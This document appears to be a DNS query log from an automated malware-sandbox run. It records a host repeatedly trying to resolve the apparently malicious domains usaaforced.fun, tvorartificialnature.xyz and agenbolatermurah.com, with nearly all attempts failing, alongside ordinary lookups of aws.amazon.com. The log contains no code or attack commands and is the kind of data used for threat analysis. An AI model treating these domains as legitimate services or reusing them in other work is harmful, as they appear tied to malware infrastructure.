Apr 6, 2021 19:39:57.121680975 CEST	8.8.8.8	192.168.2.22	0xd237	Server failure (2)	agenbolatermurah.com	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:39:57.523293018 CEST	8.8.8.8	192.168.2.22	0x4495	No error (0)	aws.amazon.com	tp.8e49140c2-frontier.amazon.com		CNAME (Canonical name)	IN (0x0001)
Apr 6, 2021 19:39:57.523293018 CEST	8.8.8.8	192.168.2.22	0x4495	No error (0)	tp.8e49140c2-frontier.amazon.com	dr49lng3n1n2s.cloudfront.net		CNAME (Canonical name)	IN (0x0001)
Apr 6, 2021 19:39:57.523293018 CEST	8.8.8.8	192.168.2.22	0x4495	No error (0)	dr49lng3n1n2s.cloudfront.net		143.204.3.74	A (IP address)	IN (0x0001)
Apr 6, 2021 19:39:57.598129988 CEST	8.8.8.8	192.168.2.22	0xc62b	No error (0)	aws.amazon.com	tp.8e49140c2-frontier.amazon.com		CNAME (Canonical name)	IN (0x0001)
Apr 6, 2021 19:39:57.598129988 CEST	8.8.8.8	192.168.2.22	0xc62b	No error (0)	tp.8e49140c2-frontier.amazon.com	dr49lng3n1n2s.cloudfront.net		CNAME (Canonical name)	IN (0x0001)
Apr 6, 2021 19:39:57.598129988 CEST	8.8.8.8	192.168.2.22	0xc62b	No error (0)	dr49lng3n1n2s.cloudfront.net		143.204.3.74	A (IP address)	IN (0x0001)
Apr 6, 2021 19:39:58.150763988 CEST	8.8.8.8	192.168.2.22	0xd237	Server failure (2)	agenbolatermurah.com	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:00.007339954 CEST	8.8.8.8	192.168.2.22	0xbcac	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:02.487611055 CEST	8.8.8.8	192.168.2.22	0x6d9f	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:04.960386992 CEST	8.8.8.8	192.168.2.22	0xa3a3	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:07.451566935 CEST	8.8.8.8	192.168.2.22	0x4023	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:09.926140070 CEST	8.8.8.8	192.168.2.22	0xb187	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:12.398555040 CEST	8.8.8.8	192.168.2.22	0x96de	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:14.868745089 CEST	8.8.8.8	192.168.2.22	0x23f0	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:17.359838963 CEST	8.8.8.8	192.168.2.22	0x5cf2	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:19.901633024 CEST	8.8.8.8	192.168.2.22	0xa3d6	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:22.383312941 CEST	8.8.8.8	192.168.2.22	0xec2b	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:24.853154898 CEST	8.8.8.8	192.168.2.22	0x2f26	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:27.339600086 CEST	8.8.8.8	192.168.2.22	0xd575	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:28.926304102 CEST	8.8.8.8	192.168.2.22	0x208f	No error (0)	aws.amazon.com	tp.8e49140c2-frontier.amazon.com		CNAME (Canonical name)	IN (0x0001)
Apr 6, 2021 19:40:28.926304102 CEST	8.8.8.8	192.168.2.22	0x208f	No error (0)	tp.8e49140c2-frontier.amazon.com	dr49lng3n1n2s.cloudfront.net		CNAME (Canonical name)	IN (0x0001)
Apr 6, 2021 19:40:28.926304102 CEST	8.8.8.8	192.168.2.22	0x208f	No error (0)	dr49lng3n1n2s.cloudfront.net		143.204.3.74	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:29.001141071 CEST	8.8.8.8	192.168.2.22	0xbd52	No error (0)	aws.amazon.com	tp.8e49140c2-frontier.amazon.com		CNAME (Canonical name)	IN (0x0001)
Apr 6, 2021 19:40:29.001141071 CEST	8.8.8.8	192.168.2.22	0xbd52	No error (0)	tp.8e49140c2-frontier.amazon.com	dr49lng3n1n2s.cloudfront.net		CNAME (Canonical name)	IN (0x0001)
Apr 6, 2021 19:40:29.001141071 CEST	8.8.8.8	192.168.2.22	0xbd52	No error (0)	dr49lng3n1n2s.cloudfront.net		143.204.3.74	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:29.804697037 CEST	8.8.8.8	192.168.2.22	0x456a	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:30.339605093 CEST	8.8.8.8	192.168.2.22	0xb487	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:30.549213886 CEST	8.8.8.8	192.168.2.22	0xc935	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:30.743232965 CEST	8.8.8.8	192.168.2.22	0x7fb	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:30.969125986 CEST	8.8.8.8	192.168.2.22	0x774	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:31.199590921 CEST	8.8.8.8	192.168.2.22	0xb81b	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:31.444458008 CEST	8.8.8.8	192.168.2.22	0xdb0f	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:31.997733116 CEST	8.8.8.8	192.168.2.22	0x37e8	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:32.327198029 CEST	8.8.8.8	192.168.2.22	0x2cdc	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:32.514081001 CEST	8.8.8.8	192.168.2.22	0xd5ff	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:32.712166071 CEST	8.8.8.8	192.168.2.22	0x7ccd	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:32.913965940 CEST	8.8.8.8	192.168.2.22	0x82dd	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:33.137460947 CEST	8.8.8.8	192.168.2.22	0xfb5d	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:33.369056940 CEST	8.8.8.8	192.168.2.22	0x2348	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:33.580497026 CEST	8.8.8.8	192.168.2.22	0x3d3f	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:33.830220938 CEST	8.8.8.8	192.168.2.22	0xa0b6	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:34.014724016 CEST	8.8.8.8	192.168.2.22	0x280c	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:34.219393015 CEST	8.8.8.8	192.168.2.22	0xb38f	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:34.412045956 CEST	8.8.8.8	192.168.2.22	0x591f	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:34.603502989 CEST	8.8.8.8	192.168.2.22	0xdf5b	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:34.791069984 CEST	8.8.8.8	192.168.2.22	0x1f6b	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:34.794919014 CEST	8.8.8.8	192.168.2.22	0x32df	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:34.974586010 CEST	8.8.8.8	192.168.2.22	0x67be	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:35.177491903 CEST	8.8.8.8	192.168.2.22	0xbf05	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:35.375852108 CEST	8.8.8.8	192.168.2.22	0xb179	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:35.570441008 CEST	8.8.8.8	192.168.2.22	0x8896	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:35.783102989 CEST	8.8.8.8	192.168.2.22	0xff27	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:35.969691038 CEST	8.8.8.8	192.168.2.22	0x6e15	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:36.191165924 CEST	8.8.8.8	192.168.2.22	0x37c9	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:36.391801119 CEST	8.8.8.8	192.168.2.22	0xcac4	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:36.601591110 CEST	8.8.8.8	192.168.2.22	0x4679	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:36.788932085 CEST	8.8.8.8	192.168.2.22	0x4c33	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:36.977602005 CEST	8.8.8.8	192.168.2.22	0xe549	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:37.178206921 CEST	8.8.8.8	192.168.2.22	0x2284	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:37.269762993 CEST	8.8.8.8	192.168.2.22	0xd442	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:37.372174025 CEST	8.8.8.8	192.168.2.22	0x6abe	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:37.593713045 CEST	8.8.8.8	192.168.2.22	0xb2e7	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:37.823041916 CEST	8.8.8.8	192.168.2.22	0x9c19	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:38.030247927 CEST	8.8.8.8	192.168.2.22	0xb1c	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:38.237724066 CEST	8.8.8.8	192.168.2.22	0x542c	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:38.468518019 CEST	8.8.8.8	192.168.2.22	0x31a2	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:38.693705082 CEST	8.8.8.8	192.168.2.22	0xe947	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:38.900207996 CEST	8.8.8.8	192.168.2.22	0x1833	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:39.099498034 CEST	8.8.8.8	192.168.2.22	0x2508	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:39.311078072 CEST	8.8.8.8	192.168.2.22	0x254f	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:39.502526045 CEST	8.8.8.8	192.168.2.22	0x2023	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:39.687088966 CEST	8.8.8.8	192.168.2.22	0xf555	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:39.810029984 CEST	8.8.8.8	192.168.2.22	0x7391	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:39.882513046 CEST	8.8.8.8	192.168.2.22	0x7110	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:40.077039957 CEST	8.8.8.8	192.168.2.22	0x18db	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:40.264484882 CEST	8.8.8.8	192.168.2.22	0xfdce	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:40.457570076 CEST	8.8.8.8	192.168.2.22	0x928f	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:40.628163099 CEST	8.8.8.8	192.168.2.22	0x542d	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:40.809334040 CEST	8.8.8.8	192.168.2.22	0xede5	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:41.002268076 CEST	8.8.8.8	192.168.2.22	0xa5de	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:41.202176094 CEST	8.8.8.8	192.168.2.22	0xc60a	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:41.394932985 CEST	8.8.8.8	192.168.2.22	0x7562	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:41.569063902 CEST	8.8.8.8	192.168.2.22	0x12f1	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:41.776199102 CEST	8.8.8.8	192.168.2.22	0x33bd	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:41.975904942 CEST	8.8.8.8	192.168.2.22	0x57e6	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:42.165601969 CEST	8.8.8.8	192.168.2.22	0x9e44	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:42.340096951 CEST	8.8.8.8	192.168.2.22	0xd058	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:42.351910114 CEST	8.8.8.8	192.168.2.22	0x446a	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:42.548557997 CEST	8.8.8.8	192.168.2.22	0xf1fe	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:42.735043049 CEST	8.8.8.8	192.168.2.22	0xe0bd	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:42.909682035 CEST	8.8.8.8	192.168.2.22	0x532f	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:43.081614017 CEST	8.8.8.8	192.168.2.22	0x23e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:43.287496090 CEST	8.8.8.8	192.168.2.22	0x5b1	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:43.484651089 CEST	8.8.8.8	192.168.2.22	0x8d	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:43.671638966 CEST	8.8.8.8	192.168.2.22	0x68ae	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:43.851650953 CEST	8.8.8.8	192.168.2.22	0x21a8	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:44.111391068 CEST	8.8.8.8	192.168.2.22	0xf988	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:44.426449060 CEST	8.8.8.8	192.168.2.22	0x419d	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:44.612967014 CEST	8.8.8.8	192.168.2.22	0x4da	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:44.808343887 CEST	8.8.8.8	192.168.2.22	0x952	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:45.067708969 CEST	8.8.8.8	192.168.2.22	0x6dcc	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:45.104463100 CEST	8.8.8.8	192.168.2.22	0xc505	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:45.282212019 CEST	8.8.8.8	192.168.2.22	0x7645	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:45.480803967 CEST	8.8.8.8	192.168.2.22	0xc47c	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:45.958249092 CEST	8.8.8.8	192.168.2.22	0x29c3	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:46.240866899 CEST	8.8.8.8	192.168.2.22	0x494d	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:46.419349909 CEST	8.8.8.8	192.168.2.22	0x4582	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:47.693599939 CEST	8.8.8.8	192.168.2.22	0x7b88	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:47.879038095 CEST	8.8.8.8	192.168.2.22	0xd374	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:47.906183958 CEST	8.8.8.8	192.168.2.22	0x2e6a	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:48.047188997 CEST	8.8.8.8	192.168.2.22	0x44b	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:48.216485023 CEST	8.8.8.8	192.168.2.22	0xe7b6	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:48.390760899 CEST	8.8.8.8	192.168.2.22	0x132f	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:48.578974962 CEST	8.8.8.8	192.168.2.22	0xd09b	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:48.754936934 CEST	8.8.8.8	192.168.2.22	0x3d97	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:48.925676107 CEST	8.8.8.8	192.168.2.22	0xd41	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:49.117281914 CEST	8.8.8.8	192.168.2.22	0x922a	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:49.311264038 CEST	8.8.8.8	192.168.2.22	0x139f	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:49.495909929 CEST	8.8.8.8	192.168.2.22	0xc850	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:49.684075117 CEST	8.8.8.8	192.168.2.22	0x3b74	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:49.863481998 CEST	8.8.8.8	192.168.2.22	0x1aa2	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:50.033010006 CEST	8.8.8.8	192.168.2.22	0x3d29	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:50.204401970 CEST	8.8.8.8	192.168.2.22	0xae55	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:50.392787933 CEST	8.8.8.8	192.168.2.22	0x6733	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:50.447282076 CEST	8.8.8.8	192.168.2.22	0x41c8	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:50.569132090 CEST	8.8.8.8	192.168.2.22	0x3cd7	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:50.747556925 CEST	8.8.8.8	192.168.2.22	0x51c3	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:50.925532103 CEST	8.8.8.8	192.168.2.22	0x408c	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:51.098479033 CEST	8.8.8.8	192.168.2.22	0xe5c4	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:51.312697887 CEST	8.8.8.8	192.168.2.22	0xbae0	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:51.515945911 CEST	8.8.8.8	192.168.2.22	0xf2c5	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:51.745235920 CEST	8.8.8.8	192.168.2.22	0xa766	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:51.954965115 CEST	8.8.8.8	192.168.2.22	0x70f7	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:52.177593946 CEST	8.8.8.8	192.168.2.22	0xa13a	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:52.392829895 CEST	8.8.8.8	192.168.2.22	0xb324	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:52.596584082 CEST	8.8.8.8	192.168.2.22	0xa13c	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:52.813105106 CEST	8.8.8.8	192.168.2.22	0xd93d	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:52.963583946 CEST	8.8.8.8	192.168.2.22	0xc65e	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:53.027146101 CEST	8.8.8.8	192.168.2.22	0xe11e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:53.241532087 CEST	8.8.8.8	192.168.2.22	0xdc42	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:53.460613966 CEST	8.8.8.8	192.168.2.22	0xd9f6	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:53.637541056 CEST	8.8.8.8	192.168.2.22	0x5280	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:53.817075968 CEST	8.8.8.8	192.168.2.22	0x38a	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:54.000678062 CEST	8.8.8.8	192.168.2.22	0xce3f	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:54.172849894 CEST	8.8.8.8	192.168.2.22	0x7b36	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:54.345737934 CEST	8.8.8.8	192.168.2.22	0x86ed	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:54.520679951 CEST	8.8.8.8	192.168.2.22	0x5860	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:54.699134111 CEST	8.8.8.8	192.168.2.22	0x2093	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:54.868949890 CEST	8.8.8.8	192.168.2.22	0x3a0f	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:55.044810057 CEST	8.8.8.8	192.168.2.22	0x96b4	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:55.216217995 CEST	8.8.8.8	192.168.2.22	0x7a6e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:55.389312029 CEST	8.8.8.8	192.168.2.22	0xc984	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:55.491935015 CEST	8.8.8.8	192.168.2.22	0x1624	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:55.582761049 CEST	8.8.8.8	192.168.2.22	0xfb3d	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:55.761661053 CEST	8.8.8.8	192.168.2.22	0xf16e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:55.928101063 CEST	8.8.8.8	192.168.2.22	0xbd86	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:56.107057095 CEST	8.8.8.8	192.168.2.22	0x7201	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:56.288479090 CEST	8.8.8.8	192.168.2.22	0xbfa6	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:56.464873075 CEST	8.8.8.8	192.168.2.22	0xaaae	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:56.636732101 CEST	8.8.8.8	192.168.2.22	0xdcb3	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:56.812474012 CEST	8.8.8.8	192.168.2.22	0x1fe3	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:56.987409115 CEST	8.8.8.8	192.168.2.22	0x3bfb	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:57.181034088 CEST	8.8.8.8	192.168.2.22	0x25b2	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:57.357604027 CEST	8.8.8.8	192.168.2.22	0xe698	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:57.545919895 CEST	8.8.8.8	192.168.2.22	0x741d	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:57.724431992 CEST	8.8.8.8	192.168.2.22	0x5bf8	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:57.918140888 CEST	8.8.8.8	192.168.2.22	0xa8a3	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:57.971645117 CEST	8.8.8.8	192.168.2.22	0x96f7	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:58.087567091 CEST	8.8.8.8	192.168.2.22	0x9c92	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:58.262823105 CEST	8.8.8.8	192.168.2.22	0xf4fb	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:58.444710970 CEST	8.8.8.8	192.168.2.22	0xfac3	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:58.626365900 CEST	8.8.8.8	192.168.2.22	0x3d66	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
